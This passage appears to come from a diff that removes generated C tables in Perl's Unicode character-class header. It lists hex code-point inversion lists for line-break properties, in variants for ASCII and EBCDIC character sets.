0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1EEF0, - 0x1EEF2, - 0x1F12E, - 0x1F12F, - 0x1F16A, - 0x1F16C, - 0x1F39C, - 0x1F39E, - 0x1F3B5, - 0x1F3B7, - 0x1F3BC, - 0x1F3BD, - 0x1F4A0, - 0x1F4A1, - 0x1F4A2, - 0x1F4A3, - 0x1F4A4, - 0x1F4A5, - 0x1F4AF, - 0x1F4B0, - 0x1F4B1, - 0x1F4B3, - 0x1F500, - 0x1F507, - 0x1F517, - 0x1F525, - 0x1F532, - 0x1F54A, - 0x1F5D4, - 0x1F5DC, - 0x1F5F4, - 0x1F5FA, - 0x1F650, - 0x1F676, - 0x1F67C, - 0x1F680, - 0x1F700, - 0x1F774, - 0x1F780, - 0x1F7D5, - 0x1F800, - 0x1F80C, - 0x1F810, - 0x1F848, - 0x1F850, - 0x1F85A, - 0x1F860, - 0x1F888, - 0x1F890, - 0x1F8AE, - 0x1F900, - 0x1F90C -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_LB__AL_invlist[] = { /* for EBCDIC 037 */ - 1467, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x42, - 0x4A, - 0x4C, - 0x4D, - 0x50, - 0x5A, - 0x5C, - 0x5D, - 0x5F, - 0x60, - 0x62, - 0x6B, - 0x6D, - 0x6F, - 0x70, - 0x7A, - 0x7B, - 0x7D, - 0x7E, - 0x7F, - 0x80, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9A, - 0x9C, - 0x9D, - 0x9E, - 0x9F, - 0xA0, - 0xAA, - 0xAC, - 0xB1, - 0xB4, - 0xB5, - 0xBC, - 0xBD, - 0xC1, - 0xCA, - 0xCB, - 0xD0, - 0xD1, - 0xDA, - 0xDB, - 0xE0, - 0xE2, - 0xEA, - 0xEB, - 0xF0, - 0xFB, - 0xFF, - 0x100, - 0x2C7, - 0x2CE, - 0x2D0, - 0x2D1, - 0x2D8, - 0x2DC, - 0x2DD, - 0x2DE, - 0x2DF, - 0x2E0, - 0x300, - 0x370, - 0x378, - 0x37A, - 0x37E, - 0x37F, - 0x380, - 0x384, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x483, - 0x48A, - 0x530, - 0x531, - 0x557, - 0x559, - 0x560, - 0x561, - 0x588, - 0x58D, - 0x58F, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5F3, - 0x5F5, - 0x600, - 0x609, - 0x60E, - 0x610, - 0x620, - 0x64B, - 0x66D, - 0x670, - 0x671, - 0x6D4, - 0x6D5, - 0x6D6, - 0x6DD, - 0x6DF, - 0x6E5, - 0x6E7, - 0x6E9, - 0x6EA, - 0x6EE, - 0x6F0, - 0x6FA, - 0x70E, - 0x70F, - 0x711, - 0x712, - 0x730, - 0x74D, - 0x7A6, - 0x7B1, - 0x7B2, - 0x7CA, - 0x7EB, - 0x7F4, - 0x7F8, - 0x7FA, - 0x7FB, - 0x800, - 0x816, - 0x81A, - 0x81B, - 0x824, - 0x825, - 0x828, - 0x829, - 0x830, - 0x83F, - 0x840, - 0x859, - 0x85E, - 0x85F, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x8E2, - 0x8E3, - 0x904, - 0x93A, - 0x93D, - 0x93E, - 0x950, - 0x951, - 0x958, - 0x962, - 0x970, - 0x981, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BD, - 0x9BE, - 0x9CE, - 0x9CF, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E2, - 0x9F0, - 0x9F2, - 0x9F4, - 0x9F9, - 0x9FA, - 0x9FB, - 0x9FC, - 0x9FE, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA72, - 0xA75, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABD, - 0xABE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE2, - 0xAF0, - 0xAF1, - 0xAF9, - 0xAFA, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3D, - 0xB3E, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB62, - 0xB70, - 0xB78, - 0xB83, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBD0, - 0xBD1, - 0xBF0, - 0xBF9, - 0xBFA, - 0xBFB, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC3E, - 0xC58, - 0xC5B, - 0xC60, - 0xC62, - 0xC78, - 0xC81, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBD, - 0xCBE, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE2, - 0xCF1, - 0xCF3, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD3B, - 0xD3D, - 0xD3E, - 0xD4E, - 0xD50, - 0xD54, - 0xD57, - 0xD58, - 0xD62, - 0xD70, - 0xD79, - 0xD7A, - 0xD80, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDF4, - 0xDF5, - 0xE4F, - 0xE50, - 0xF00, - 0xF01, - 0xF05, - 0xF06, - 0xF13, - 0xF14, - 0xF15, - 0xF18, - 0xF1A, - 0xF20, - 0xF2A, - 0xF34, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF40, - 0xF48, - 0xF49, - 0xF6D, - 0xF88, - 0xF8D, - 0xFC0, - 0xFC6, - 0xFC7, - 0xFCD, - 0xFCE, - 0xFD0, - 0xFD4, - 0xFD9, - 0x104C, - 0x1050, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x1100, - 0x1200, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x1360, - 0x1361, - 0x1362, - 0x137D, - 0x1380, - 0x139A, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1401, - 0x1680, - 0x1681, - 0x169B, - 0x16A0, - 0x16EB, - 0x16EE, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1712, - 0x1720, - 0x1732, - 0x1740, - 0x1752, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x17D9, - 0x17DA, - 0x17F0, - 0x17FA, - 0x1800, - 0x1802, - 0x1807, - 0x1808, - 0x180A, - 0x180B, - 0x1820, - 0x1878, - 0x1880, - 0x1885, - 0x1887, - 0x18A9, - 0x18AA, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1940, - 0x1941, - 0x19E0, - 0x1A17, - 0x1A1E, - 0x1A20, - 0x1B05, - 0x1B34, - 0x1B45, - 0x1B4C, - 0x1B5C, - 0x1B5D, - 0x1B61, - 0x1B6B, - 0x1B74, - 0x1B7D, - 0x1B83, - 0x1BA1, - 0x1BAE, - 0x1BB0, - 0x1BBA, - 0x1BE6, - 0x1BFC, - 0x1C24, - 0x1C4D, - 0x1C50, - 0x1C5A, - 0x1C7E, - 0x1C80, - 0x1C89, - 0x1CC0, - 0x1CC8, - 0x1CD3, - 0x1CD4, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF2, - 0x1CF5, - 0x1CF7, - 0x1D00, - 0x1DC0, - 0x1E00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FC5, - 0x1FC6, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FDD, - 0x1FF0, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFD, - 0x1FFE, - 0x1FFF, - 0x2017, - 0x2018, - 0x2022, - 0x2024, - 0x2038, - 0x2039, - 0x203E, - 0x2044, - 0x204A, - 0x2056, - 0x2057, - 0x2058, - 0x205C, - 0x205D, - 0x2061, - 0x2065, - 0x2070, - 0x2072, - 0x2075, - 0x207D, - 0x2080, - 0x2081, - 0x2085, - 0x208D, - 0x2090, - 0x209D, - 0x2100, - 0x2103, - 0x2104, - 0x2105, - 0x2106, - 0x2109, - 0x210A, - 0x2113, - 0x2114, - 0x2116, - 0x2117, - 0x2121, - 0x2123, - 0x212B, - 0x212C, - 0x2154, - 0x2156, - 0x215B, - 0x215C, - 0x215E, - 0x215F, - 0x2160, - 0x216C, - 0x2170, - 0x217A, - 0x2189, - 0x218A, - 0x218C, - 0x219A, - 0x21D2, - 0x21D3, - 0x21D4, - 0x21D5, - 0x2200, - 0x2201, - 0x2202, - 0x2204, - 0x2207, - 0x2209, - 0x220B, - 0x220C, - 0x220F, - 0x2210, - 0x2211, - 0x2214, - 0x2215, - 0x2216, - 0x221A, - 0x221B, - 0x221D, - 0x2221, - 0x2223, - 0x2224, - 0x2225, - 0x2226, - 0x2227, - 0x222D, - 0x222E, - 0x222F, - 0x2234, - 0x2238, - 0x223C, - 0x223E, - 0x2248, - 0x2249, - 0x224C, - 0x224D, - 0x2252, - 0x2253, - 0x2260, - 0x2262, - 0x2264, - 0x2268, - 0x226A, - 0x226C, - 0x226E, - 0x2270, - 0x2282, - 0x2284, - 0x2286, - 0x2288, - 0x2295, - 0x2296, - 0x2299, - 0x229A, - 0x22A5, - 0x22A6, - 0x22BF, - 0x22C0, - 0x22EF, - 0x22F0, - 0x2308, - 0x230C, - 0x2312, - 0x2313, - 0x231A, - 0x231C, - 0x2329, - 0x232B, - 0x23F0, - 0x23F4, - 0x2427, - 0x2440, - 0x244B, - 0x24FF, - 0x2500, - 0x254C, - 0x2550, - 0x2575, - 0x2580, - 0x2590, - 0x2592, - 0x2596, - 0x25A0, - 0x25A2, - 0x25A3, - 0x25AA, - 0x25B2, - 0x25B4, - 0x25B6, - 0x25B8, - 0x25BC, - 0x25BE, - 0x25C0, - 0x25C2, - 0x25C6, - 0x25C9, - 0x25CB, - 0x25CC, - 0x25CE, - 0x25D2, - 0x25E2, - 0x25E6, - 0x25EF, - 0x25F0, - 0x2600, - 0x2604, - 0x2605, - 0x2607, - 0x2609, - 0x260A, - 0x260E, - 0x2610, - 0x2614, - 0x2619, - 0x261A, - 0x2620, - 0x2639, - 0x263C, - 0x2640, - 0x2641, - 0x2642, - 0x2643, - 0x2660, - 0x2662, - 0x2663, - 0x2666, - 0x2667, - 0x266B, - 0x266C, - 0x266E, - 0x266F, - 0x2670, - 0x267F, - 0x2680, - 0x269E, - 0x26A0, - 0x26BD, - 0x26CE, - 0x26CF, - 0x26E2, - 0x26E3, - 0x26E4, - 0x26E8, - 0x2705, - 0x2708, - 0x270E, - 0x2757, - 0x2758, - 0x275B, - 0x2761, - 0x2762, - 0x2765, - 0x2768, - 0x2794, - 0x27C5, - 0x27C7, - 0x27E6, - 0x27F0, - 0x2983, - 0x2999, - 0x29D8, - 0x29DC, - 0x29FC, - 0x29FE, - 0x2B55, - 0x2B5A, - 0x2B74, - 0x2B76, - 0x2B96, - 0x2B98, - 0x2BBA, - 0x2BBD, - 0x2BC9, - 0x2BCA, - 0x2BD3, - 0x2BEC, - 0x2BF0, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CEF, - 0x2CF2, - 0x2CF4, - 0x2CFD, - 0x2CFE, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D70, - 0x2D80, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2E16, - 0x2E17, - 0x2E1A, - 0x2E1C, - 0x2E1E, - 0x2E20, - 0x2E2F, - 0x2E30, - 0x2E32, - 0x2E33, - 0x2E35, - 0x2E3A, - 0x2E3F, - 0x2E40, - 0x4DC0, - 0x4E00, - 0xA4D0, - 0xA4FE, - 0xA500, - 0xA60D, - 0xA610, - 0xA620, - 0xA62A, - 0xA62C, - 0xA640, - 0xA66F, - 0xA673, - 0xA674, - 0xA67E, - 0xA69E, - 0xA6A0, - 0xA6F0, - 0xA6F2, - 0xA6F3, - 0xA700, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA823, - 0xA828, - 0xA82C, - 0xA830, - 0xA838, - 0xA839, - 0xA83A, - 0xA840, - 0xA874, - 0xA882, - 0xA8B4, - 0xA8F2, - 0xA8FC, - 0xA8FD, - 0xA8FE, - 0xA90A, - 0xA926, - 0xA930, - 0xA947, - 0xA95F, - 0xA960, - 0xA984, - 0xA9B3, - 0xA9C1, - 0xA9C7, - 0xA9CA, - 0xA9CE, - 0xA9CF, - 0xA9D0, - 0xA9DE, - 0xA9E0, - 0xAA00, - 0xAA29, - 0xAA40, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA5C, - 0xAA5D, - 0xAAE0, - 0xAAEB, - 0xAAF2, - 0xAAF5, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB66, - 0xAB70, - 0xABE3, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB29, - 0xFB2A, - 0xFB50, - 0xFBC2, - 0xFBD3, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFC, - 0xFDFD, - 0xFDFE, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFFE8, - 0xFFEF, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10107, - 0x10134, - 0x10137, - 0x1018F, - 0x10190, - 0x1019C, - 0x101A0, - 0x101A1, - 0x101D0, - 0x101FD, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x102E1, - 0x102FC, - 0x10300, - 0x10324, - 0x1032D, - 0x1034B, - 0x10350, - 0x10376, - 0x10380, - 0x1039E, - 0x103A0, - 0x103C4, - 0x103C8, - 0x103D0, - 0x103D1, - 0x103D6, - 0x10400, - 0x1049E, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x1056F, - 0x10570, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10858, - 0x1089F, - 0x108A7, - 0x108B0, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x108FB, - 0x1091C, - 0x10920, - 0x1093A, - 0x1093F, - 0x10940, - 0x10980, - 0x109B8, - 0x109BC, - 0x109D0, - 0x109D2, - 0x10A01, - 0x10A10, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A40, - 0x10A48, - 0x10A58, - 0x10A59, - 0x10A60, - 0x10AA0, - 0x10AC0, - 0x10AE5, - 0x10AEB, - 0x10AF0, - 0x10B00, - 0x10B36, - 0x10B40, - 0x10B56, - 0x10B58, - 0x10B73, - 0x10B78, - 0x10B92, - 0x10B99, - 0x10B9D, - 0x10BA9, - 0x10BB0, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x10CFA, - 0x10D00, - 0x10E60, - 0x10E7F, - 0x11003, - 0x11038, - 0x11049, - 0x1104E, - 0x11052, - 0x11066, - 0x11083, - 0x110B0, - 0x110BB, - 0x110BE, - 0x110D0, - 0x110E9, - 0x11103, - 0x11127, - 0x11150, - 0x11173, - 0x11174, - 0x11175, - 0x11176, - 0x11177, - 0x11183, - 0x111B3, - 0x111C1, - 0x111C5, - 0x111C7, - 0x111C8, - 0x111C9, - 0x111CA, - 0x111CD, - 0x111CE, - 0x111DA, - 0x111DB, - 0x111DC, - 0x111DD, - 0x111E1, - 0x111F5, - 0x11200, - 0x11212, - 0x11213, - 0x1122C, - 0x1123A, - 0x1123B, - 0x1123D, - 0x1123E, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112A9, - 0x112B0, - 0x112DF, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133D, - 0x1133E, - 0x11350, - 0x11351, - 0x1135D, - 0x11362, - 0x11400, - 0x11435, - 0x11447, - 0x1144B, - 0x1144F, - 0x11450, - 0x1145D, - 0x1145E, - 0x11480, - 0x114B0, - 0x114C4, - 0x114C8, - 0x11580, - 0x115AF, - 0x115C6, - 0x115C9, - 0x115D8, - 0x115DC, - 0x11600, - 0x11630, - 0x11643, - 0x11645, - 0x11680, - 0x116AB, - 0x118A0, - 0x118E0, - 0x118EA, - 0x118F3, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A01, - 0x11A0B, - 0x11A33, - 0x11A3A, - 0x11A3B, - 0x11A40, - 0x11A41, - 0x11A46, - 0x11A47, - 0x11A50, - 0x11A51, - 0x11A5C, - 0x11A84, - 0x11A86, - 0x11A8A, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C2F, - 0x11C40, - 0x11C41, - 0x11C5A, - 0x11C6D, - 0x11C72, - 0x11C90, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D31, - 0x11D46, - 0x11D47, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12480, - 0x12544, - 0x13000, - 0x13258, - 0x1325E, - 0x13282, - 0x13283, - 0x13286, - 0x1328A, - 0x13379, - 0x1337C, - 0x1342F, - 0x14400, - 0x145CE, - 0x145D0, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16AD0, - 0x16AEE, - 0x16B00, - 0x16B30, - 0x16B3A, - 0x16B44, - 0x16B45, - 0x16B46, - 0x16B5B, - 0x16B62, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F51, - 0x16F93, - 0x16FA0, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1BC9C, - 0x1BC9D, - 0x1D000, - 0x1D0F6, - 0x1D100, - 0x1D127, - 0x1D129, - 0x1D165, - 0x1D16A, - 0x1D16D, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D1E9, - 0x1D200, - 0x1D242, - 0x1D245, - 0x1D246, - 0x1D300, - 0x1D357, - 0x1D360, - 0x1D372, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D800, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA87, - 0x1DA8B, - 0x1DA8C, - 0x1E800, - 0x1E8C5, - 0x1E8C7, - 0x1E8D0, - 0x1E900, - 0x1E944, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1EEF0, - 0x1EEF2, - 0x1F12E, - 0x1F12F, - 0x1F16A, - 0x1F16C, - 0x1F39C, - 0x1F39E, - 0x1F3B5, - 0x1F3B7, - 0x1F3BC, - 0x1F3BD, - 0x1F4A0, - 0x1F4A1, - 0x1F4A2, - 0x1F4A3, - 0x1F4A4, - 0x1F4A5, - 0x1F4AF, - 0x1F4B0, - 0x1F4B1, - 0x1F4B3, - 0x1F500, - 0x1F507, - 0x1F517, - 0x1F525, - 0x1F532, - 0x1F54A, - 0x1F5D4, - 0x1F5DC, - 0x1F5F4, - 0x1F5FA, - 0x1F650, - 0x1F676, - 0x1F67C, - 0x1F680, - 0x1F700, - 0x1F774, - 0x1F780, - 0x1F7D5, - 0x1F800, - 0x1F80C, - 0x1F810, - 0x1F848, - 0x1F850, - 0x1F85A, - 0x1F860, - 0x1F888, - 0x1F890, - 0x1F8AE, - 0x1F900, - 0x1F90C -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_LB__B2_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2014, - 0x2015, - 0x2E3A, - 0x2E3C -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_LB__BA_invlist[] = { /* for ASCII/Latin1 */ - 185, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x9, - 0xA, - 0x7C, - 0x7D, - 0xAD, - 0xAE, - 0x58A, - 0x58B, - 0x5BE, - 0x5BF, - 0x964, - 0x966, - 0xE5A, - 0xE5C, - 0xF0B, - 0xF0C, - 0xF34, - 0xF35, - 0xF7F, - 0xF80, - 0xF85, - 0xF86, - 0xFBE, - 0xFC0, - 0xFD2, - 0xFD3, - 0x104A, - 0x104C, - 0x1361, - 0x1362, - 0x1400, - 0x1401, - 0x1680, - 0x1681, - 0x16EB, - 0x16EE, - 0x1735, - 0x1737, - 0x17D4, - 0x17D6, - 0x17D8, - 0x17D9, - 0x17DA, - 0x17DB, - 0x1804, - 0x1806, - 0x1B5A, - 0x1B5C, - 0x1B5D, - 0x1B61, - 0x1C3B, - 0x1C40, - 0x1C7E, - 0x1C80, - 0x2000, - 0x2007, - 0x2008, - 0x200B, - 0x2010, - 0x2011, - 0x2012, - 0x2014, - 0x2027, - 0x2028, - 0x2056, - 0x2057, - 0x2058, - 0x205C, - 0x205D, - 0x2060, - 0x2CFA, - 0x2CFD, - 0x2CFF, - 0x2D00, - 0x2D70, - 0x2D71, - 0x2E0E, - 0x2E16, - 0x2E17, - 0x2E18, - 0x2E19, - 0x2E1A, - 0x2E2A, - 0x2E2E, - 0x2E30, - 0x2E32, - 0x2E33, - 0x2E35, - 0x2E3C, - 0x2E3F, - 0x2E40, - 0x2E42, - 0x2E43, - 0x2E4A, - 0x3000, - 0x3001, - 0xA4FE, - 0xA500, - 0xA60D, - 0xA60E, - 0xA60F, - 0xA610, - 0xA6F3, - 0xA6F8, - 0xA8CE, - 0xA8D0, - 0xA92E, - 0xA930, - 0xA9C7, - 0xA9CA, - 0xAA5D, - 0xAA60, - 0xAAF0, - 0xAAF2, - 0xABEB, - 0xABEC, - 0x10100, - 0x10103, - 0x1039F, - 0x103A0, - 0x103D0, - 0x103D1, - 0x10857, - 0x10858, - 0x1091F, - 0x10920, - 0x10A50, - 0x10A58, - 0x10AF0, - 0x10AF6, - 0x10B39, - 0x10B40, - 0x11047, - 0x11049, - 0x110BE, - 0x110C2, - 0x11140, - 0x11144, - 0x111C5, - 0x111C7, - 0x111C8, - 0x111C9, - 0x111DD, - 0x111E0, - 0x11238, - 0x1123A, - 0x1123B, - 0x1123D, - 0x112A9, - 0x112AA, - 0x1144B, - 0x1144F, - 0x1145B, - 0x1145C, - 0x115C2, - 0x115C4, - 0x115C9, - 0x115D8, - 0x11641, - 0x11643, - 0x1173C, - 0x1173F, - 0x11A41, - 0x11A45, - 0x11A9A, - 0x11A9D, - 0x11AA1, - 0x11AA3, - 0x11C41, - 0x11C46, - 0x12470, - 0x12475, - 0x16A6E, - 0x16A70, - 0x16AF5, - 0x16AF6, - 0x16B37, - 0x16B3A, - 0x16B44, - 0x16B45, - 0x1BC9F, - 0x1BCA0, - 0x1DA87, - 0x1DA8B -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_LB__BA_invlist[] = { /* for EBCDIC 1047 */ - 185, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5, - 0x6, - 0x4F, - 0x50, - 0xCA, - 0xCB, - 0x58A, - 0x58B, - 0x5BE, - 0x5BF, - 0x964, - 0x966, - 0xE5A, - 0xE5C, - 0xF0B, - 0xF0C, - 0xF34, - 0xF35, - 0xF7F, - 0xF80, - 0xF85, - 0xF86, - 0xFBE, - 0xFC0, - 0xFD2, - 0xFD3, - 0x104A, - 0x104C, - 0x1361, - 0x1362, - 0x1400, - 0x1401, - 0x1680, - 0x1681, - 0x16EB, - 0x16EE, - 0x1735, - 0x1737, - 0x17D4, - 0x17D6, - 0x17D8, - 0x17D9, - 0x17DA, - 0x17DB, - 0x1804, - 0x1806, - 0x1B5A, - 0x1B5C, - 0x1B5D, - 0x1B61, - 0x1C3B, - 0x1C40, - 0x1C7E, - 0x1C80, - 0x2000, - 0x2007, - 0x2008, - 0x200B, - 0x2010, - 0x2011, - 0x2012, - 0x2014, - 0x2027, - 0x2028, - 0x2056, - 0x2057, - 0x2058, - 0x205C, - 0x205D, - 0x2060, - 0x2CFA, - 0x2CFD, - 0x2CFF, - 0x2D00, - 0x2D70, - 0x2D71, - 0x2E0E, - 0x2E16, - 0x2E17, - 0x2E18, - 0x2E19, - 